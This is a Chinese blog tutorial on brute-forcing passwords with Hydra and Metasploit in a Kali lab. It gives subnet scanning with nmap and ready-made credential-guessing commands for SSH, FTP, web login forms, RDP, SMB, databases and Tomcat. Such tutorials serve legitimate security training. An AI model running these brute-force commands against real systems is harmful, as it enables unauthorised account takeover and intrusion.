zoukankan      html  css  js  c++  java
  • 暴力密码破解工具 Hydra

    脚本小子练习的工具(一) ---------Hydra 、Metasploit
    仅供技术调试参考

    一、Hydra简单介绍

    九头蛇- Hydra

    Hydra是著名hack组织thc开发的一款开源的暴力密码破解工具 ,
    ,可以在线破解多种密码 。
    Hydra支持AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM- POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH(v1和v2)、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC、XMPP等类型密码的破解 。


    github:https://github.com/vanhauser-thc/thc-hydra

    二、Hydra安装

    暂略,以后安装补全
    本文使用Kali内置Hydra。

    三、 本机SSH服务开启前基础配置 (可略)

    1.1 修改配置文件

    如下图示:打开root/etc/ssh/sshd_config 目录下文件
    把# Port 22 修改为 Port 22  ,开启22号端口
    把# ListenAddress 0.0.0.0 修改为 ListenAddress 0.0.0.0  ,允许所有IP地址访问22号端口
    把# PermitRootLogin yes  修改为 PermitRootLogin yes    ,开通root用户登录权限,即root用户可以通过SSH远程登录Kali
    把# PasswordAuthentication yes 修改为 PasswordAuthentication yes   ,开通密码验证服务,使用SSH远程登录Kali时需要root用户的密码

    1.2 在Kali界面开启SSH 服务,然后将Kali放到后台运行

    在Kali命令后窗口输入 :service ssh start , 开启SSH远程登录服务

    在Kali命令后窗口输入 :service ssh status , 查看SSH服务状态 ,如图示:running

    在Kali命令后窗口输入 :service ssh stop  ,关闭SSH服务

    在Kali命令后窗口输入: service ssh restart ,重启SSH服务

    在Kali命令后窗口输入: update-rc.d SSH enable  ,开机自启SSH服务

    在Kali命令后窗口输入: update-rc.d SSH disabled   ,关闭SSH服务开机自启

    1.3 使用putty等ssh连接软件登录Kali并进行管理操作

    先查询一下本机ip

    使用putty连接


    连接成功

    四、暴力破解(以SSH破解为例)

    1、扫描哪些设备开启ssh服务

    使用kali自带的namp扫描网段

    nmap -p 22 --script=banner 192.168.2.0/24

    我们这里可以看到192.168.2.45的ssh端口(22)已经开放

    接下来我们将使用本文主角Hydra"九头蛇"来暴力破解目标机器

    我们现在命令行输入hydra -h来查看 Hydra的帮助信息 

    参数:
    -R 继续从上一次进度接着破解
    -S 大写,采用SSL链接
    -s 小写,可通过这个参数指定非默认端口
    -l 指定破解的用户,对特定用户破解
    -L 指定用户名字典
    -p 小写,指定密码破解,少用,一般是采用密码字典
    -P 大写,指定密码字典
    -e 可选选项,n:空密码试探,s:使用指定用户和密码试探
    -C 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
    -M 指定目标列表文件一行一条
    -o 指定结果输出文件
    -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
    -t 同时运行的线程数,默认为16
    -w 设置最大超时的时间,单位秒,默认是30s
    -v /-V显示详细过程

    各协议的具体命令:
    格式+示例:

    (1)、破解ssh:
    hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip ssh
    hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
    
    (2)、破解ftp:
    hydra ip ftp -L 用户名字典 -P 密码字典 -t 线程(默认16) -vV
    hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
    
    (3)、get方式提交,破解web登录:
    hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/
    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP
    
    (4)、post方式提交,破解web登录:
    hydra --L 用户名字典 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"
    hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"
    参数说明:
    -t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 
    10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示
    
    (5)、破解https:
    hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
    (6)、破解teamspeak:
    hydra -L 用户名字典 -P 密码字典 -s 端口号 -vV ip teamspeak
    
    (7)、破解cisco:
    hydra -P pass.txt 10.36.16.18 cisco
    hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
    
    (8)、破解smb:
    hydra -L 用户名字典 -P pass.txt 10.36.16.18 smb
    
    (9)、破解pop3:
    hydra -l muts -P pass.txt my.pop3.mail pop3
    
    (10)、破解rdp:
    hydra ip rdp -l administrator -P pass.txt -V
    
    (11)、破解http-proxy:
    hydra -l admin -P pass.txt http-proxy://10.36.16.18
    

    了解了详细命令继续进行破解

    Kali中自带暴力破解字典,在/usr/share/wordlists/目录下
    操作命令:
    hydra -L  /usr/share/wordlists/ssh_username.txt -P /usr/share/wordlists/ ssh_password.txt -t 1 -vV -e ns 192.168.2.45 ssh

    我这里用的个人爆破字典,推荐使用自定义的爆破字典,高效

    破解成功如下图,这里只是演示所以结果很快

    2、 使用Metasploit工具集中的小插件暴破SSH服务登录口令

    第一步,开启Metasploit,我这里也是kali内置

    运行如图

    输入: search ssh ,查看与SSH相关的攻击模块 ,我们找到auxiliary/scanner/ssh/ssh_login  模块

    在msf命令后界面输入 :use auxiliary/scanner/ssh/ssh_login  ,调用SSH攻击模块

    在msf命令后界面输入 :show options  ,查看需要我们设置的参数  ,我们需要补充四点:目标主机IP地址、用户名字典路径、密码字典路径、线程数(即每秒跑几个密码)

    set rhosts 192.168.2.45 #修改目标ip
    set user_file users.txt #修改使用用户字典
    set pass_file password.txt #修改使用密码字典
    set threads 5

    然后我们使用show options来查看修改结果

    接下来进行最后结果,输入run来执行,等一会就出结果了

    这里提供Metasploit各个模块的口令猜解

    SSH服务口令猜解:

    
    msf > use auxiliary/scanner/ssh/ssh_login(使用ssh_login模块)
    msf auxiliary(ssh_login) > show options (查看选项)
    msf auxiliary(ssh_login) > set RHOSTS 10.107.0.99(目标)
    msf auxiliary(ssh_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)
    msf auxiliary(ssh_login) > set PASS_FILE /root/pass.txt(密码字典文件)
    msf auxiliary(ssh_login) > set THREADS 50(线程)
    msf auxiliary(ssh_login) > exploit (开始)
    
    Telnet口令猜解:
    
    msf > use auxiliary/scanner/telnet/telnet_login (使用telnet_login模块)
    msf auxiliary(telnet_login) > show options (查看选项)
    msf auxiliary(telnet_login) > set RHOSTS 10.180.100.141(目标)
    msf auxiliary(telnet_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)
    msf auxiliary(telnet_login) > set PASS_FILE /root/pass.txt(密码字典文件)
    msf auxiliary(telnet_login) > exploit (开始)
    
    Samba口令猜解:
    
    msf > use auxiliary/scanner/smb/smb_login (使用smb_login模块)
    msf auxiliary(smb_login) > show options (查看选项)
    msf auxiliary(smb_login) > set RHOSTS 10.180.100.10(目标)
    msf auxiliary(ssmb_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)
    msf auxiliary(ssmb_login) > set PASS_FILE /root/pass.txt(密码字典文件)
    msf auxiliary(ssmb_login) > exploit(开始)
    
    Mysql口令猜解:
    
    msf > use auxiliary/scanner/mysql/mysql_login (使用mysql_login模块)
    msf auxiliary(mysql_login) > show options (查看选项)
    msf auxiliary(mysql_login) > set RHOSTS 192.168.230.176(目标)
    msf auxiliary(mysql_login) > set USERNAME root(用户名字典,或指定用户)
    msf auxiliary(mysql_login) > set PASS_FILE /root/pass.txt(密码字典文件)
    msf auxiliary(mysql_login) > exploit(开始)
    
    Postgresq口令猜解:
    
    msf > use auxiliary/scanner/postgres/postgres_login (使用postgres_login模块)
    msf auxiliary(postgres_login) > show options (查看选项)
    msf auxiliary(postgres_login) > set RHOSTS 192.168.230.10(目标)
    msf auxiliary(postgres_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)
    msf auxiliary(postgres_login) > set PASS_FILE /root/pass.txt(密码字典文件)
    msf auxiliary(postgres_login) > exploit (开始)
    
    Mssql口令猜解:
    
    msf > use auxiliary/scanner/mssql/mssql_login (使用mssql_login 模块)
    msf auxiliary(mssql_login) > show options (查看选项)
    msf auxiliary(mssql_login) > set RHOSTS 10.107.0.64(目标)
    msf auxiliary(mssql_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)
    msf auxiliary(mssql_login) > set PASS_FILE /root/pass.txt(密码字典文件)
    msf auxiliary(mssql_login) > exploit(开始)
    
    Tomcat口令猜解:
    
    msf > use auxiliary/scanner/http/tomcat_mgr_login (使用tomcat_mgr_login模块)
    msf auxiliary(tomcat_mgr_login) > show options(查看选项)
    msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.230.176(目标)
    msf auxiliary(tomcat_mgr_login) > set USER_FILE username.txt(用户名字典,或指定用户)
    msf auxiliary(tomcat_mgr_login) > set PASS_FILE /root/pass.txt(密码字典文件)
    msf auxiliary(tomcat_mgr_login) > exploit(开始)
    

    以上就是Hydra、Metasploit的暴利破解过程。

  • 相关阅读:
    【转】 grep 文件报错 “Binary file ... matches”
    JS 将值插入数组中
    Vue 刷新当前页面,并重新加载页面数据
    Vue 获得所选中目标的状态(checked)以及对应目标的数据,并进行相应的操作
    JS --- 如何获取一个对象的类型
    vue-cli项目开发/生产环境代理实现跨域请求+webpack配置开发/生产环境的接口地址
    VUE 处理文本框获焦点高亮
    VUE项目问题之:去掉url中的#/
    关于移动端终极适配解决方案
    VUE.JS 使用axios数据请求时数据绑定时 报错 TypeError: Cannot set property 'xxxx' of undefined 的解决办法
  • 原文地址:https://www.cnblogs.com/shook/p/12218176.html
Copyright © 2011-2022 走看看